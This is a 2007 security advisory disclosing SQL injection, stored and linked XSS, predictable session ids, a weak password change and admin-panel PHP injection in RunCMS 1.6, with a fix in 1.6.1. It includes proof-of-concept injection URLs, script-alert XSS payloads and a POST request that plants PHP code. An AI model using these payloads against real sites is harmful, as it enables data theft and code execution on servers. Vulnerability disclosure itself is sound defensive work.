Digital Security Research Group Advisory Application: RunCMS Versions Affected: RunCMS 1.6 Vendor URL: http://www.runcms.org Bugs: SQL Injections, XSS, PHP Include, Predictable session id, etc. Exploits: Aviable Reported: 14.12.2007 Vendor response: 15.12.2007 Date of Public Advisory: 25.12.2007 Authors: Alexandr Polyakov, Stas Svistunovich Digital Security Research Group (research (at) dsec (dot) ru [email concealed]) Description *********** RunCMS system has multiple security vulnerabilities: 1. Blind SQL Injection 2. Stored XSS 3. Linked XSS 4. Image XSS 5. Predictable session id 6. Vulnerable password changing algorithm 7. Many PHP Injections in Administrator panel Details ******* 1. Multiple Blind SQL Injection Attacker can inject SQL code in modules: http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid+DSec RG_INJECTION http://[server]/[installdir]/modules/mydownloads/visit.php?lid=2+DSecRG_ INJECTION http://[server]/[installdir]/modules/mydownloads/ratefile.php?lid=2+DSec RG_INJECTION http://[server]/[installdir]/modules/mylinks/ratelink.php?lid=2+DSecRG_I NJECTION http://[server]/[installdir]/modules/mylinks/modlink.php?lid=2+DSecRG_IN JECTION http://[server]/[installdir]/modules/mylinks/brokenlink.php?lid=2+DSecRG _INJECTION Example: This query will return link to download file: GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+an d+1=1 HTTP/1.0 This query will return error: GET http://[server]/[installdir]/modules/mydownloads/brokenfile.php?lid=1+an d+1=0 HTTP/1.0 ------------------------------------------------------------------------ -------------------- 2. Stored XSS Vulnerability found in script modules/news/submit.php in post parameter name "subject" Example: POST http://[server]/[installdir]/modules/news/submit.php HTTP/1.0 subject=<script>alert("DSecRG_XSS")</script> ------------------------------------------------------------------------ -------------------- 3. Linked XSS vulnerability found in modules/news/index.php, attacker can inject XSS in URL string: Example: http://[server]/[installdir]/modules/news/index.php/"><script>alert('DSe cRG_XSS')</script> ------------------------------------------------------------------------ -------------------- 4. Image XSS vulnerability in page edituser.php, attacker can upload avatar picture with XSS code: Example: More info: http://www.dsec.ru/about/articles/web_xss/ (in Russian) ------------------------------------------------------------------------ -------------------- 5. Predictable session id Session id generator uses a predictable function, so id can be changed manually. ------------------------------------------------------------------------ -------------------- 6. Password changing vulnerability Previous password not required to set a new password. ------------------------------------------------------------------------ -------------------- 7. Administrator page PHP Injection Administrator can inject PHP code and execute OS commands with webserver user privileges. page: /modules/system/admin.php?fct=meta-generator parameter name="header" parameter name="footer" page: /modules/system/admin.php?fct=disclaimer parameter name="disclaimer" page: /modules/mydownloads/admin/index.php?op=mydownloadsConfigAdmin parameter name='disclaimer' page: /modules/newbb_plus/admin/forum_config.php parameter name="disclaimer" page: /modules/mylinks/admin/index.php?op=myLinksConfigAdmin parameter name="disclaimer" page: /modules/sections/admin/index.php?op=secconfig parameter name='intro' Example: POST /modules/system/admin.php?fct=disclaimer HTTP/1.0 Host=localhost User-Agent=Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.7) Gecko/20070914 Firefox/2.0.0.7 Keep-Alive=300 Proxy-Connection=keep-alive Content-Type=application/x-www-form-urlencoded Content-Length=226 POSTDATA=perpage=10&popular=100&newlinks=10&useshots=0&shotwidth=140&ano n_add=0&rss_enable=1&rss_maxitems=5&rss_maxdescription=200& disclaimer=<?phpinfo();?>&op=myLinksConfigChange This page can be overwritten by PHP injection: runcms_1.6\modules\sections\cache\intro.php runcms_1.6\modules\mylinks\cache\disclaimer.php runcms_1.6\modules\mydownloads\cache\disclaimer.php runcms_1.6\modules\newbb_plus\cache\disclaimer.php runcms_1.6\modules\system\cache\disclaimer.php runcms_1.6\modules\system\cache\footer.php runcms_1.6\modules\system\cache\header.php runcms_1.6\modules\system\cache\maintenance.php Fix Information *************** RunCMS was altered to fix this flaw on Dec 15, 2007. Updated version (1.6.1) can be downloaded here: http://www.runcms.org/modules/mydownloads/visit.php?lid=131 About ***** Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website. Contact: research (at) dsec (dot) ru [email concealed] http://www.dsec.ru (in Russian) -- Digital Security Research Group mailto:research (at) dsec (dot) ru [email concealed]